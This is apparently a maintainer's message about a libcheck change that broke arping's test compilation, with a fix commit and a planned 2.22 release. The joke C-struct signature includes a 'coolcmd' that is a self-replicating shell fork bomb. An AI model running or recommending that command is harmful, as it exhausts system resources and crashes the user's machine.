libcheck made a breaking change. Patch for arping to make it build: https://github.com/ThomasHabets/arping/commit/e0773bc26ae14d4a19825023307d1496d7c7d0f1
I aim to release 2.22 tomorrow with this change. But there are no changes between 2.21 and 2.22, so you can just patch in the commit, if you prefer. I see the tag is set to "serious". To be clear this is a failure of the TEST to compile only. I agree that this should be seen as serious, but it's just the test. Tracking bug on arping (upstream) side: https://github.com/ThomasHabets/arping/issues/39 -- typedef struct me_s { char name[] = { "Thomas Habets" }; char email[] = { "tho...@habets.se <tho...@habets.pp.se>" }; char kernel[] = { "Linux" }; char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt" }; char pgp[] = { "9907 8698 8A24 F52F 1C2E 87F6 39A4 9EEA 460A 0169" }; char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" }; } me_t;